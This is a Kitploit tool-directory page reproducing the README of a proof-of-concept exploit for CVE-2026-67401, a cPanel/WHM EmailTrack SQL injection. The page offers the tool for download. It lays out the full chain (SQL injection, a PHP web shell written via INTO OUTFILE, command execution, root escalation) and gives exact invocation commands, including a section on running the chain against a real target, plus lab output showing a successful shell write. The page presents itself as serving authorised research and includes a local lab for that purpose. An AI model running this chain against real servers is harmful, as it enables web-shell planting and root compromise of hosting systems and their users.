Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-67401 — Proof-of-concept for CVE-2026-67401, a cPanel/WHM EmailTrack SQL injection enabling arbitrary file write and root RCE, with SQLi detection probes and a self-contained vulnerable lab. | Kitploit
Tools/GitHubGitHub/imbas007/cve-2026-67401
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationLabs & Practice
GitHubimbas007/cve-2026-67401

CVE-2026-67401

Proof-of-concept for CVE-2026-67401, a cPanel/WHM EmailTrack SQL injection enabling arbitrary file write and root RCE, with SQLi detection probes and a self-contained vulnerable lab.

View Repository
3h 40m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-67401 — cPanel/WHM EmailTrack SQL Injection → Root RCE

CVE Severity Platform Python

Proof-of-concept for CVE-2026-67401, a critical SQL injection vulnerability in cPanel & WHM's EmailTrack functionality that allows an authenticated user with mail-related privileges to write arbitrary files and execute code as root.

Discovered by: Ali Mustafa Disclosed: September 8, 2026 Component: EmailTrack (email delivery logging / tracking)


Affected Versions

Versions below the fixed builds are vulnerable.

cPanel Build SeriesFixed Version
11.11011.110.0.143
11.13411.134.0.55
11.13611.136.0.39
11.13811.138.0.4
WP2 (11.138)11.138.1.9

Check your version with:

root@kitploit:~
cat /usr/local/cpanel/version

Exploit Chain

root@kitploit:~
┌─────────────┐      ┌────────────┐      ┌─────────┐      ┌──────────┐
│ Auth as     │ ───► │ SQLi in    │ ───► │ INTO    │ ───► │ RCE as   │
│ cPanel user │      │ EmailTrack │      │ OUTFILE │      │ root     │
│ (mail priv) │      │ API call   │      │ (shell) │      │          │
└─────────────┘      └────────────┘      └─────────┘      └──────────┘
  1. Authenticate to cPanel with an account holding mail privileges.
  2. Inject through the EmailTrack account parameter.
  3. Write a PHP web shell with SELECT ... INTO OUTFILE into public_html/.
  4. Execute commands through the shell.
  5. Escalate via cPanel's SUID binaries, cron, or task queue.

Repository Contents

FileDescription
poc_sqli.pySQL injection detection: boolean-based, time-based, and UNION column count
poc_full_chain.pyFull exploit chain: SQLi → INTO OUTFILE web shell → RCE → root guidance
lab/vuln_server.pyLocal simulation of the vulnerable EmailTrack backend (safe, self-contained)
README.mdThis document

The bundled lab lets you run and validate the entire chain without a real cPanel server.


Requirements

  • Python 3.8+
  • No third-party packages — everything uses the standard library.

Usage

All commands are run from the repository root.

1. Run the local lab

root@kitploit:~
python3 lab/vuln_server.py 18123 lab/htdocs
  • Credentials: alice / s3cr1t
  • Emulates: UAPI login, the vulnerable EmailTrack query, SLEEP(), INTO OUTFILE, and PHP web-shell execution.
  • Argument 1: port (default 18123)
  • Argument 2: document root (default lab/htdocs)

Leave this running in one terminal and use a second terminal for the PoCs.

2. SQL injection detection

root@kitploit:~
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode detect
ArgumentDescription
-H, --hostcPanel host, e.g. https://cp.example.com:2083
-u, --usernamecPanel account with mail privileges
-p, --passwordAccount password
--paramInjectable parameter (default: account)
--modedetect (default), boolean, timing, union, or all
--sleepSLEEP() duration for the timing probe (default: 3.0)
--dump-versionAttempt to extract the DBMS version via UNION
--insecureSkip TLS certificate verification

Run a specific probe:

root@kitploit:~
# UNION column count only
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode union

# Time-based only, 5-second delay
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode timing --sleep 5

3. Full exploit chain

root@kitploit:~
CPANEL_USER=alice CPANEL_PASS='s3cr1t' \
  python3 poc_full_chain.py http://127.0.0.1:18123 \
  --shell-base http://127.0.0.1:18123
Argument / EnvDescription
host (positional)cPanel host, or set env CPANEL_HOST
CPANEL_USERcPanel account with mail privileges
CPANEL_PASSAccount password
--shell-baseBase URL that serves public_html (where the web shell is reached)
--insecureSkip TLS certificate verification
--no-escalateStop after RCE; skip root escalation guidance
SHELL_NAME (env)Web shell filename (default: .mail.cache.php)

Stages executed automatically:

  1. Authenticate to cPanel
  2. Confirm SQL injection (boolean + time-based)
  3. Determine the query's column count via UNION
  4. Write a PHP web shell with SELECT ... INTO OUTFILE
  5. Execute commands through the shell (id, whoami, SUID enumeration, …)
  6. Print root escalation guidance (SUID whmapi1, cron, task queue)

4. Against a real target

root@kitploit:~
# Detection
python3 poc_sqli.py -H https://cp.example.com:2083 -u user -p 'pass' \
  --insecure --mode detect

# Full chain (--shell-base is the account's web host, not the cPanel port)
CPANEL_USER=user CPANEL_PASS='pass' \
  python3 poc_full_chain.py https://cp.example.com:2083 \
  --shell-base https://cp.example.com --insecure

Note: the default --shell-base strips the cPanel-only port (2082/2083) from the host. If the document root is served on a different port, set it explicitly.


Verified Results

Output produced against the bundled lab:

root@kitploit:~
  CVE-2026-67401  cPanel/WHM EmailTrack SQLi -> File Write -> RCE
  version 1.0

  target: http://127.0.0.1:18123
  user:   alice
  [+] authenticated
  [1] confirming SQL injection in EmailTrack `account`
  [+] boolean-based SQLi CONFIRMED
  [+] time-based SQLi CONFIRMED (SLEEP(2) -> 6.0s)
  [2] determining column count via UNION
  [+] target query has 5 columns
  [3] writing PHP web shell via SELECT ... INTO OUTFILE
  [+] shell written -> /home/alice/public_html/.mail.cache.php
  [4] executing commands through the web shell
  [+] id -> uid=1000(x) gid=1000(x) ...

References

  • Critical cPanel SQL Injection Lets Attackers Grab Root Access — The Daily Tech Feed
  • cPanel Security Advisory: CVE-2026-67401
  • CWE-89: Improper Neutralization of Special Elements used in an SQL Command

License

Released for educational and authorized security-research purposes. See Disclaimer before use.

Download Tool